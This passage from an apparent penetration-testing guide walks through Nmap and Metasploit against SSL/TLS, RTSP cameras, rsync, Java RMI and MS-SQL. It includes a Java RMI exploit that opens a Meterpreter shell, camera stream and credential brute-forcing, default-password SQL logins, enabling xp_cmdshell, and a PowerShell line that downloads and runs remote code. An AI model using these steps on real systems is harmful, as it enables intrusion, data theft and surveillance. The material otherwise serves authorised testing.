| BAYTAmluMQ4wDAYDVQQHEwVkbWlsaTERMA8GA1UEChMIbmlyc3RlY2gxHTAbBgNV
| BAMTFHJpcnN0ZWNoIFdlYkFkbWluIENBMRowGAYJKoZIhvcNAQkBFgt nQGdtYwls
| LmNvbTAeFw0xMzAyMDEzMzZaFw0zODAxMDEwMDAwMDFaMFAXCzAJBgNVBAYT
| AmluMQ4wDAYDVQQHEwV0b2lkYTE0MAwGA1UEChMFVWZsZXGxITAfBgNVBAMTGGFz
| dGFyb3VmbGV4LmZsZXhmaWxtLmNvbTCBnzANBgkqhkiG9w0BAQEFAA0BjQAwYkC
| gYEA109PwQfNKGMaqzD7CYLMQ0skqMcP6MXJcPuHBl8wFte4M4yDzRTGJwEjmv9u
| mcvv2HShww0nMXS2XEosjy65I2NqRBBFQ/+DmXtdiuoiWBeMk00hV94fgSwDnhB/
| 83RYyzKGMfKw0b63ovp8D78ufysPxqL8049o+1bFMQYCoW0CAwEAAaOB/zCB/DAd
| BgNVHQ4EFgQUvgIR5fXbkeXtnlT4jjKuhnUHacgwZ0GA1UdIwSBlTCBkoAUGIfJ
| GJvPoIGIJDyq9tgpKxU3gJihb6RtMGsx CzAJBgNVBAYTAmluMQ4wDAYDVQQHEwVkbWlsaTERMA8GA1UEChMIbmlyc3RlY2gxHTAbBgNVBAMTFHJpcnN0ZWNoIFdlYkFkbWluIENBMRowGAYJKoZIhvcNAQkBFgt nQGdtYwlsLmNvbYIJANqxAruc7sYCMCMG
| A1UdEQQcMBQCGGFzdGFyb3VmbGV4LmZsZXhmaWxtLmNvbTAJBgNVHRMEAjaAMASG
| A1UdDwQEAwIF4DANBgkqhkiG9w0BAQUFAA0BgQAentiShYI/t/XkWZrMe2E98RMs
| yoD+BgYGxe6Gwn+L3pbb8oM5bxxmkydwVENNVrOG+kp1imU75HYge4QtHldjFf0y
| i0myyr1jZ2IcnidcaYm/LhOFIUUmP5YwDRK6jpIuJvzjDRcDxL63E9r950/f4jn
| DrGIgqEJR709HK07Tw==
| -----END CERTIFICATE-----
```

ssl-dh-params

[ssl-dh-params](#) : Weak ephemeral Diffie-Hellman parameter detection for SSL/TLS services. This script simulates SSL/TLS handshakes using ciphersuites that have ephemeral Diffie-Hellman as the key exchange algorithm.

Diffie-Hellman MODP group parameters are extracted and analyzed for vulnerability to Logjam (CVE 2015-4000) and other weaknesses.

Sample Output:

```
nmap --script=ssl-dh-params -p 443 10.10.xx.xx -n

Starting Nmap 7.01 (https://nmap.org) at 2016-04-03 19:08 IST
Nmap scan report for 10.10.xx.xx
Host is up (0.013s latency).
PORT      STATE SERVICE
443/tcp   open  https
| ssl-dh-params:
|   VULNERABLE:
|     Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       insufficient strength, especially those using one of a few commonly sh
|       groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|         Cipher Suite: TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
|         Modulus Type: Safe prime
|         Modulus Source: mod_ssl 2.2.x/1024-bit MODP group with safe prim
|         Modulus Length: 1024
|         Generator Length: 8
|         Public Key Length: 1024
|     References:
|       https://weakdh.org
|_

Nmap done: 1 IP address (1 host up) scanned in 6.52 seconds
```

ssl-google-cert-catalog

[ssl-google-cert-catalog.nse](https://nmap.org/scripts/ssl-google-cert-catalog.nse) : Queries Google's Certificate Catalog for the SSL certificates retrieved from target hosts.

The Certificate Catalog provides information about how recently and for how long Google has seen the given certificate. If a certificate doesn't appear in the database, despite being correctly signed by a well-known CA and having a matching domain name, it may be suspicious.

Sample Output:

```
nmap -p 443 --script ssl-google-cert-catalog 223.30.xx.xx -n

Starting Nmap 7.01 (https://nmap.org) at 2016-04-03 19:14 IST
Nmap scan report for 223.30.xx.xx
Host is up (0.028s latency).
PORT      STATE SERVICE
443/tcp   open  https
| ssl-google-cert-catalog:
|_  No DB entry
```

sslv2

[sslv2.nse](https://nmap.org/scripts/sslv2.nse) : Determines whether the server supports obsolete and less secure SSLv2, and discovers which ciphers it supports.

Sample Output:

```
nmap -p 443 --script sslv2 115.124.xx.xx -n

Starting Nmap 7.01 (https://nmap.org) at 2016-04-03 19:24 IST
Nmap scan report for 115.124.xx.xx
Host is up (0.0088s latency).
PORT      STATE SERVICE
443/tcp   open  https
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
```

```
| SSL2_RC2_CBC_128_CBC_WITH_MD5  
| SSL2_RC4_128_WITH_MD5  
| SSL2_RC4_64_WITH_MD5  
| SSL2_DES_64_CBC_WITH_MD5  
| SSL2_RC2_CBC_128_CBC_WITH_MD5  
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
```

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

ssl-ccs-injection

[ssl-ccs-injection.nse](#) : Detects whether a server is vulnerable to the SSL/TLS “CCS Injection” vulnerability (CVE-2014-0224). There’s a metasploit module for the same: openssl_ccs

ssl-date

[ssl-date.nse](#) : Retrieves a target host’s time and date from its TLS ServerHello response.

Sample Output:

```
nmap -p 443 --script ssl-date 115.124.xx.xx -n  
  
Starting Nmap 7.01 (https://nmap.org) at 2016-04-03 19:29 IST  
Nmap scan report for 115.124.xx.xx  
Host is up (0.017s latency).  
PORT      STATE SERVICE  
443/tcp   open  https  
|_ssl-date: 2016-04-03T18:49:19+00:00; +4h49m42s from scanner time.
```

ssl-enum-ciphers

[ssl-enum-ciphers.nse](#) : Script repeatedly initiates SSLv3/TLS connections, each time trying a new cipher or compressor while recording whether a host accepts or rejects it. The end result is a list of all the ciphersuites and compressors that a server accepts.

Each ciphersuite is shown with a letter grade (A through F) indicating the strength of the connection. The grade is based on the cryptographic strength of the key exchange and of the

stream cipher.

Sample Output:

```
nmap -p 443 --script ssl-enum-ciphers 115.124.xx.xx -n

Starting Nmap 7.01 (https://nmap.org) at 2016-04-03 19:33 IST
Nmap scan report for 115.124.xx.xx
Host is up (0.0085s latency).
PORT      STATE SERVICE
443/tcp   open  https
| ssl-enum-ciphers:
|   SSLv3:
|     ciphers:
|       TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA - E
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_DES_CBC_SHA (dh 1024) - F
|       TLS_RSA_EXPORT_WITH_DES40_CBC_SHA - E
|       TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 - E
|       TLS_RSA_EXPORT_WITH_RC4_40_MD5 - E
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - F
|       TLS_RSA_WITH_AES_128_CBC_SHA - F
|       TLS_RSA_WITH_AES_256_CBC_SHA - F
|       TLS_RSA_WITH_DES_CBC_SHA - F
|       TLS_RSA_WITH_RC4_128_MD5 - F
|       TLS_RSA_WITH_RC4_128_SHA - F
|     compressors:
|       NULL
|     cipher preference: client
|     warnings:
|       CBC-mode cipher in SSLv3 (CVE-2014-3566)
|       Ciphersuite uses MD5 for message integrity
|       Insecure certificate signature: MD5
|   TLSv1.0:
|     ciphers:
|       TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA - E
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_DES_CBC_SHA (dh 1024) - F
|       TLS_RSA_EXPORT_WITH_DES40_CBC_SHA - E
|       TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 - E
```

```

| TLS_RSA_EXPORT_WITH_RC4_40_MD5 - E
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - F
| TLS_RSA_WITH_AES_128_CBC_SHA - F
| TLS_RSA_WITH_AES_256_CBC_SHA - F
| TLS_RSA_WITH_DES_CBC_SHA - F
| TLS_RSA_WITH_RC4_128_MD5 - F
| TLS_RSA_WITH_RC4_128_SHA - F
| compressors:
| NULL
| cipher preference: client
| warnings:
|   Ciphersuite uses MD5 for message integrity
|   Insecure certificate signature: MD5
|_ least strength: F

Nmap done: 1 IP address (1 host up) scanned in 1.81 seconds
```

ssl-heartbleed

[ssl-heartbleed.nse](#) : Detects whether a server is vulnerable to the OpenSSL Heartbleed bug (CVE-2014-0160).

Sample Output:

```

nmap -p 443 --script ssl-heartbleed 223.30.xx.xx -n

Starting Nmap 7.01 (https://nmap.org) at 2016-04-03 19:35 IST
Nmap scan report for 223.30.xx.xx
Host is up (0.011s latency).
PORT      STATE SERVICE
443/tcp   open  https
| ssl-heartbleed:
|   VULNERABLE:
|     The Heartbleed Bug is a serious vulnerability in the popular OpenSSL crypt
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1
|
|   References:
|     http://cvedetails.com/cve/2014-0160/
|     http://www.openssl.org/news/secadv\_20140407.txt
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_
```

```
Nmap done: 1 IP address (1 host up) scanned in 0.53 seconds
```

ssl-poodle

[ssl-poodle.nse](#) : Checks whether SSLv3 CBC ciphers are allowed (POODLE). POODLE is CVE-2014-3566

Sample Output:

```
nmap -p 443 --script ssl-poodle 223.30.xx.xx -n

Starting Nmap 7.01 (https://nmap.org) at 2016-04-03 19:40 IST
Nmap scan report for 223.30.xx.xx
Host is up (0.011s latency).
PORT      STATE SERVICE
443/tcp   open  https
| ssl-poodle:
|   VULNERABLE:
|   SSL POODLE information leak
|   State: VULNERABLE
|   IDs: CVE:CVE-2014-3566 OSVDB:113251
|         The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and
|         other products, uses nondeterministic CBC padding, which makes it
|         for man-in-the-middle attackers to obtain cleartext data via a
|         padding-oracle attack, aka the "POODLE" issue.
|   Disclosure date: 2014-10-14
|   Check results:
|     TLS_DHE_RSA_WITH_AES_256_CBC_SHA
|   References:
|     https://www.openssl.org/~bodo/ssl-poodle.pdf
|     http://osvdb.org/113251
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|     https://www.imperialviolet.org/2014/10/14/poodle.html
|_
```

RTSP - Port 554 and 8554

Nmap

Two NSE for RTSP which are

rtsp-methods

[rtsp-methods.nse](#) : which determines which methods are supported by the RTSP (real time streaming protocol) server

RTSP-Methods Sample Output:

```
nmap -p 8554 --script rtsp-methods 10.10.xx.xx -sV

Starting Nmap 7.01 (https://nmap.org) at 2016-04-01 23:17 IST
Nmap scan report for 10.10.xx.xx (10.10.22.195)
Host is up (0.015s latency).
PORT      STATE SERVICE VERSION
8554/tcp  open  rtsp      Geovision webcam rtspd
|_rtsp-methods: OPTIONS, DESCRIBE, SETUP, PLAY, PAUSE, TEARDOWN
Service Info: Device: webcam
```

rtsp-url-brute

[rtsp-url-brute.nse](#) which Attempts to enumerate RTSP media URLs by testing for common paths on devices such as surveillance IP cameras.

RTSP URL Brute Sample Output:

```
Nmap scan report for 10.152.77.206
Host is up (0.00047s latency).
PORT      STATE SERVICE
554/tcp  open  rtsp
| rtsp-url-brute:
|   Discovered URLs
|   rtsp://10.152.77.206/media/video1
|_  rtsp://10.152.77.206/video1
Once you have this, just execute mplayer to watch the live feed
```

```
mplayer <url>  
for example: mplayer rtsp://10.152.77.206/media/video1
```

Other

Cameradar

[Cameradar](#) : An RTSP surveillance camera access multitool

Cameradar allows you to:

- Detect open RTSP hosts on any accessible target
- Get their public info (hostname, port, camera model, etc.)
- Launch automated dictionary attacks to get their stream route (for example /live.sdp)
- Launch automated dictionary attacks to get the username and password of the cameras
- Generate thumbnails from them to check if the streams are valid and to have a quick preview of their content
- Try to create a Gstreamer pipeline to check if they are properly encoded
- Print a summary of all the informations Cameradar could get

Blogs

PenTest Partners have written a blog on [Pwning CCTV cameras](#) where they mention various issues found with a DVR.

Rsync - Port 873

```
services -p 873 -u -S rsync -R
```

Metasploit

List Rsync Modules

An rsync module is essentially a directory share. These modules can optionally be protected by a password. This module connects to and negotiates with an rsync server, lists the available modules and, optionally, determines if the module requires a password to access.

```
use auxiliary/scanner/rsync/modules_list
services -p 873 -u -S rsync -R
```

Sample Output:

```
[+] 10.10.xx.xx:873 - 5 rsync modules found: OTG DATA, Server IMP Backup, Raja
[*] Scanned 1 of 4 hosts (25% complete)
[*] 10.10.xx.xx:873 - no rsync modules found
[*] Scanned 2 of 4 hosts (50% complete)
[*] Scanned 3 of 4 hosts (75% complete)
[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed
```

Nmap

rsync-list-modules

[rsync-list-modules.nse](#) : Lists modules available for rsync (remote file sync) synchronization.

```
nmap -p 873 XX.XX.XX.52 --script=rsync-list-modules

Starting Nmap 7.01 (https://nmap.org) at 2016-05-06 00:05 IST
Nmap scan report for XX.XX.243.52
Host is up (0.0088s latency).
PORT      STATE SERVICE
873/tcp   open  rsync
| rsync-list-modules:
|   mail
|   varlib
|   etc
|   net
|   dar
|   usrlocal
|   varlog
|   var
```

```
|_ root
```

```
Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds
```

Other

rsync

How to test your rsync setup:

List the available shares by running (may require a password)

```
rsync rsync://share@your-ip-or-hostname/
```

Sample Output:

```
rsync rsync://etc@XX.XX.XX.52
mail
varlib
etc
net
dar
usrlocal
varlog
var
root
```

After entering your password, rsync should now give a file listing

```
rsync rsync://pub@your-ip-or-hostname/pub/
```

We may get access denied because of the IP address restrictions

```
rsync rsync://etc@XX.XX.XX.52/mail
@ERROR: access denied to mail from unknown (XX.4.XX.XX)
rsync error: error starting client-server protocol (code 5) at main.c(1653) [F
```

Run:

```
rsync -v --progress --partial rsync://pub@your-ip-or-hostname/pub/someFile  
(you can abbreviate --partial --progress as -P). Your file should now be downl
```

Run:

```
rsync -aPv rsync://pub@your-ip-or-hostname/pub/someDirectory .  
Your directory should now be downloading
```

Java RMI - Port 1099

Metasploit

Java RMI Server Insecure Endpoint Code Execution Scanner

Detects RMI endpoints:

```
use auxiliary/scanner/misc/java_rmi_server  
services -u -p 1099 -S Java -R
```

Failed output:

```
[*] 172.30.xx.xx:1099 Java RMI Endpoint Detected: Class Loader Disabled
```

Successful output:

```
[+] 192.168.xx.xx:1099 Java RMI Endpoint Detected: Class Loader Enabled
```

and then use

Java RMI Server Insecure Default Configuration Java Code Execution

Module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication

```
use exploit/multi/misc/java_rmi_server
```

Sample Output

```
use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > set rhost 192.168.xx.xx
rhost => 192.168.xx.xx
msf exploit(java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.xx.xx:4444
[*] Using URL: http://0.0.xx.xx:8080/LAWVrAFTItH7N
[*] Local IP: http://192.168.xx.xx:8080/LAWVrAFTItH7N
[*] Server started.
[*] 192.168.xx.xx:1099 - Sending RMI Header...
[*] 192.168.xx.xx:1099 - Sending RMI Call...
[*] 192.168.xx.xx      java_rmi_server - Replied to request for payload JAR
[*] Sending stage (45741 bytes) to 192.168.xx.xx
[*] Meterpreter session 1 opened (192.168.xx.xx:4444 -> 192.168.7.87:3899) at
[-] Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server
[*] Server stopped.
```

Here's a video of Mubix exploiting it from Metasploit Minute [Exploitation using java rmi service](#)

Nmap

rmi-vuln-classloader

[rmi-vuln-classloader.nse](#) Tests whether Java rmiregistry allows class loading. The default configuration of rmiregistry allows loading classes from remote URLs, which can lead to remote

code execution. The vendor (Oracle/Sun) classifies this as a design feature.

Sample Output:

```
nmap --script=rmi-vuln-classloader -p 1099 192.168.xx.xx

Starting Nmap 7.01 (https://nmap.org) at 2016-05-04 00:04 IST
Nmap scan report for 192.168.xx.xx
Host is up (0.0011s latency).
PORT      STATE SERVICE
1099/tcp  open  rmiregistry
| rmi-vuln-classloader:
|   VULNERABLE:
|   RMI registry default configuration remote code execution vulnerability
|   State: VULNERABLE
|   Default configuration of RMI registry allows loading classes from remote
|
|   References:
|_  https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/rmi/vuln\_classloader.rb
Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds
```

MS-SQL | Port 1433

Metasploit

MS-SQL is really vast multiple **metasploit** modules and blogs existing on the internet, Let's check **Metasploit Modules** one by one.

```
auxiliary/admin/mssql/mssql_enum                                nor
auxiliary/admin/mssql/mssql_enum_domain_accounts              nor
auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli         nor
auxiliary/admin/mssql/mssql_enum_sql_logins                   nor
auxiliary/admin/mssql/mssql_escalate_dbowner                  nor
auxiliary/admin/mssql/mssql_escalate_dbowner_sqli             nor
auxiliary/admin/mssql/mssql_escalate_execute_as               nor
auxiliary/admin/mssql/mssql_escalate_execute_as_sqli          nor
auxiliary/admin/mssql/mssql_exec                             nor
auxiliary/admin/mssql/mssql_findandsampleddata                nor
auxiliary/admin/mssql/mssql_idf                               nor
```

```
auxiliary/admin/mssql/mssql_ntlm_stealer      nor
auxiliary/admin/mssql/mssql_ntlm_stealer_sqli nor
auxiliary/admin/mssql/mssql_sql              nor
auxiliary/admin/mssql/mssql_sql_file         nor
auxiliary/analyze/jtr_mssql_fast             nor
auxiliary/gather/lansweeper_collector         nor
auxiliary/scanner/mssql/mssql_hashdump       nor
auxiliary/scanner/mssql/mssql_login          nor
auxiliary/scanner/mssql/mssql_ping           nor
auxiliary/scanner/mssql/mssql_schemadump     nor
```

MSSQL Ping Utility

Queries the MSSQL instance for information. This will also provide if any ms-sql is running on different ports.

```
use auxiliary/scanner/mssql/mssql_ping
services -p 1433 -R
```

Sample output:

```
[*] SQL Server information for 10.10.xx.xx:
[+] ServerName      = SAPBWBI
[+] InstanceName    = BOE140
[+] IsClustered     = No
[+] Version         = 10.0.xx.xx
[+] tcp             = 50623
[+] np              = \\SAPBWBI\pipe\MSSQL$BOE140\sql\query
[*] SQL Server information for 10.10.xx.xx:
[+] ServerName      = MANGOOSE
[+] InstanceName    = MSSQLSERVER
[+] IsClustered     = No
[+] Version         = 11.0.xx.xx
[+] tcp             = 1433
[*] SQL Server information for 10.10.xx.xx:
[+] ServerName      = MHE-DMP
[+] InstanceName    = MSSQLSERVER
[+] IsClustered     = No
[+] Version         = 11.0.xx.xx
[+] tcp             = 1433
```



```
[*] SQL Server information for 10.10.xx.xx:  
[+] ServerName      = MHE-DMP  
[+] InstanceName    = MHE_DMP_LIVE  
[+] IsClustered     = No  
[+] Version         = 11.0.xx.xx  
[+] tcp             = 53029
```

After discovering the ms-sql instances, we can check if there are any default passwords.

MSSQL Login Utility

Let's see if we have any default passwords. This module simply queries the MSSQL instance for a specific user/pass (default is sa with blank) we always find default passwords such as [company@123](#) etc. Once in an engagement, out of 200 Ms-sql instance we found around 60 default passwords. ;)

```
use auxiliary/scanner/mssql/mssql_login  
set Password company@123  
services -p 1433 -R
```

Sample Output:

```
[*] 10.10.xx.xx:1433 - MSSQL - Starting authentication scanner.  
[+] 10.10.xx.xx:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:company@123  
[-] 10.10.xx.xx:1433 MSSQL - LOGIN FAILED: WORKSTATION\sa:company@123 (Incorrec
```

Once, we have the credentials to the SQL Server we can use

Microsoft SQL Server Configuration Enumerator

```
use auxiliary/admin/mssql/mssql_enum  
set rhost 10.10.xx.xx  
set password company@123
```

Sample Output:

```
[*] Running MS SQL Server Enumeration...
[*] Version:
[*]     Microsoft SQL Server 2012 - 11.0.xx.xx (X64)
[*]     Feb 10 2012 19:39:15
[*]     Copyright (c) Microsoft Corporation
[*]     Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601)
[*] Configuration Parameters:
[*]     C2 Audit Mode is Not Enabled
[*]     xp_cmdshell is Enabled
[*]     remote access is Enabled
[*]     allow updates is Not Enabled
[*]     Database Mail XPs is Not Enabled
[*]     Ole Automation Procedures are Not Enabled
[*] Databases on the server:
[*]     Database name:master
[*]     Database Files for master:
[*]         C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL
[*]         C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL
[*]     Database name:tempdb
[*]     Database Files for tempdb:
[*]         D:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL
[*]         D:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL
[*]     Database name:model
[*]     Database Files for model:
[*]         C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL
[*]         C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL
[*]     Database name:msdb
[*]     Database Files for msdb:
[*]         C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL
[*]         C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL
[*]     Database name:ReportServer
[*]     Database Files for ReportServer:
[*]         D:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL
[*]         D:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL
[*]     Database name:ReportServerTempDB
[*]     Database Files for ReportServerTempDB:
[*]         D:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL
[*]         D:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL
[*] System Logins on this Server:
[*]     sa
[*]     ##MS_SQLResourceSigningCertificate##
[*]     ##MS_SQLReplicationSigningCertificate##
[*]     ##MS_SQLAuthenticatorCertificate##
[*]     ##MS_PolicySigningCertificate##
```

```
[*] ##MS_SmoExtendedSigningCertificate##
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] ##MS_AgentSigningCertificate##
[*] EXAMPLE\Administrator
[*] OTH-EXAMPLE\altadmin
[*] NT SERVICE\SQLWriter
[*] NT SERVICE\Winmgmt
[*] NT Service\MSSQLSERVER
[*] NT AUTHORITY\SYSTEM
[*] NT SERVICE\SQLSERVERAGENT
[*] NT SERVICE\ReportServer
[*] Disabled Accounts:
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] No Accounts Policy is set for:
[*] All System Accounts have the Windows Account Policy Applied to them.
[*] Password Expiration is not checked for:
[*] sa
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] System Admin Logins on this Server:
[*] sa
[*] EXAMPLE\Administrator
[*] OTH-EXAMPLE\altadmin
[*] NT SERVICE\SQLWriter
[*] NT SERVICE\Winmgmt
[*] NT Service\MSSQLSERVER
[*] NT SERVICE\SQLSERVERAGENT
[*] Windows Logins on this Server:
[*] EXAMPLE\Administrator
[*] OTH-EXAMPLE\altadmin
[*] NT SERVICE\SQLWriter
[*] NT SERVICE\Winmgmt
[*] NT Service\MSSQLSERVER
[*] NT AUTHORITY\SYSTEM
[*] NT SERVICE\SQLSERVERAGENT
[*] NT SERVICE\ReportServer
[*] Windows Groups that can logins on this Server:
[*] No Windows Groups where found with permission to login to system.
[*] Accounts with Username and Password being the same:
[*] No Account with its password being the same as its username was found.
[*] Accounts with empty password:
[*] No Accounts with empty passwords where found.
[*] Stored Procedures with Public Execute Permission found:
```

```
[*] sp_replsetsyncstatus
[*] sp_replcounters
[*] sp_replsendtoqueue
[*] sp_resyncexecutesql
[*] sp_prepexecrpc
[*] sp_repltrans
[*] sp_xml_preparedocument
[*] xp_qv
[*] xp_getnetname
[*] sp_releaseschemalock
[*] sp_refreshview
[*] sp_replcmds
[*] sp_unprepare
[*] sp_resyncprepare
[*] sp_createorphan
[*] xp_dirtree
[*] sp_replwritetovarbin
[*] sp_replsetoriginator
[*] sp_xml_removedocument
[*] sp_repldone
[*] sp_reset_connection
[*] xp_fileexist
[*] xp_fixeddrives
[*] sp_getschemalock
[*] sp_prepexec
[*] xp_revokelogin
[*] sp_resyncuniquetable
[*] sp_replflush
[*] sp_resyncexecute
[*] xp_grantlogin
[*] sp_droporphans
[*] xp_regread
[*] sp_getbindtoken
[*] sp_replincrementlsn
[*] Instances found on this server:
[*] MSSQLSERVER
[*] SQLEXPRESS
[*] Default Server Instance SQL Server Service is running under the privilege
[*] NT Service\MSSQLSERVER
[*] Instance SQLEXPRESS SQL Server Service is running under the privilege of:
[*] NT AUTHORITY\NETWORKSERVICE
[*] Auxiliary module execution completed
```

If the xp_cmdshell is disabled and we have sa credentials, we can enable it by executing the below code in [dbeaver](#) as mentioned in [xp_cmdshell Server Configuration Option](#)

```
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1;
GO
-- To update the currently configured value for advanced options.
RECONFIGURE;
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1;
GO
-- To update the currently configured value for this feature.
RECONFIGURE;
GO
```

Next, we can execute command using

Microsoft SQL Server xp_cmdshell Command Execution

if xp_cmdshell is enabled and if the user has permissions.

```
use auxiliary/admin/mssql/mssql_exec
set RHOST 10.10.xx.xx
set password company@123
set cmd ipconfig
```

Sample Output:

Windows IP Configuration

Ethernet adapter LAN:

```
Connection-specific DNS Suffix  . :
IPv4 Address. . . . . : 10.10.xx.xx
Subnet Mask . . . . . : 255.255.xx.xx
Default Gateway . . . . . : 10.10.xx.xx
```

Ethernet adapter Local Area Connection 3:

```
Connection-specific DNS Suffix . :  
Link-local IPv6 Address . . . . . : fe80::798f:6cad:4f1e:c5fb%15  
Autoconfiguration IPv4 Address. . : 169.254.xx.xx  
Subnet Mask . . . . . : 255.255.xx.xx  
Default Gateway . . . . . :
```

Tunnel adapter isatap.{D295B095-19EB-436E-97D0-4D22486521CC}:

```
Media State . . . . . : Media disconnected  
Connection-specific DNS Suffix . :
```

Tunnel adapter isatap.{A738E25A-F5E3-4E36-8F96-6977E22136B6}:

```
Media State . . . . . : Media disconnected  
Connection-specific DNS Suffix . :
```

At this point, we can probably use msf exploit/windows/mssql/mssql_payload or get a shell back with powercat or powershell-empire.

```
EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebCl
```

Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration

```
use auxiliary/admin/mssql/mssql_enum_domain_accounts  
set rhost 10.10.xx.xx  
set password company@123
```

Sample Output:

```
[*] Attempting to connect to the database server at 10.10.xx.xx:1433 as sa...  
[+] Connected.  
[*] SQL Server Name: EXAMPLECRM1  
[*] Domain Name: EXAMPLE  
[+] Found the domain sid: 01050000000000051500000016c0ea32f450ba7443170a32  
[*] Brute forcing 10000 RIDs through the SQL Server, be patient...  
[*] - EXAMPLE\administrator  
[*] - EXAMPLE\Guest  
[*] - EXAMPLE\krbtg
```

```
[*] - EXAMPLE\Domain Admins
[*] - EXAMPLE\Domain Users
[*] - EXAMPLE\Domain Guests
[*] - EXAMPLE\Domain Computers
[*] - EXAMPLE\Domain Controllers
[*] - EXAMPLE\Cert Publishers
[*] - EXAMPLE\Schema Admins
[*] - EXAMPLE\Enterprise Admins
[*] - EXAMPLE\Group Policy Creator Owners
[*] - EXAMPLE\Read-only Domain Controllers
[*] - EXAMPLE\RAS and IAS Servers
[*] - EXAMPLE\Allowed RODC Password Replication Group
[*] - EXAMPLE\Denied RODC Password Replication Group
[*] - EXAMPLE\TsInternetUser
```

Other fun modules to check are

Microsoft SQL Server Find and Sample Data

This script will search through all of the non-default databases on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS option. If column names are found that match the defined keywords and data is present in the associated tables, the script will select a sample of the records from each of the affected tables. The sample size is determined by the SAMPLE_SIZE option, and results output in a CSV format.

```
use auxiliary/admin/mssql/mssql_findandsampledata
```

Microsoft SQL Server Generic Query

Module will allow for simple SQL statements to be executed against a MSSQL/MSDE instance given the appropriate credentials.

```
use auxiliary/admin/mssql/mssql_sql
```

MSSQL Schema Dump

Module attempts to extract the schema from a MSSQL Server Instance. It will disregard builtin and example DBs such as master,model,msdb, and tempdb. The module will create a note for each DB found, and store a YAML formatted output as loot for easy reading.

```
use auxiliary/scanner/mssql/mssql_schemadump
```

Other

We can also use

tsql

tsql command, install it by using freetds-bin package and use it like

```
tsql -H 10.10.xx.xx -p 1433 -U sa -P company@123
locale is "en_IN"
locale charset is "UTF-8"
using default charset "UTF-8"
1> SELECT suser_sname(owner_sid)
2> FROM sys.databases
3> go

sa
sa
sa
sa
EXAMPLE\administrator
EXAMPLE\administrator
EXAMPLE\kuanxxxx
(7 rows affected)
```

See examples for Scott blogs, how to execute queries.

Microsoft SQL Server Management

Use Microsoft SQL Server Management tool to connect to Remote Database.

Default MS-SQL System Tables

- master Database : Records all the system-level information for an instance of SQL Server.
- msdb Database : Is used by SQL Server Agent for scheduling alerts and jobs.
- model Database : Is used as the template for all databases created on the instance of SQL Server. Modifications made to the model database, such as database size, collation, recovery model, and other database options, are applied to any databases created afterward.
- Resource Database : Is a read-only database that contains system objects that are included with SQL Server. System objects are physically persisted in the Resource database, but they logically appear in the sys schema of every database.
- tempdb Database : Is a workspace for holding temporary objects or intermediate result sets.

Reference - Hacking SQL Server Stored Procedures

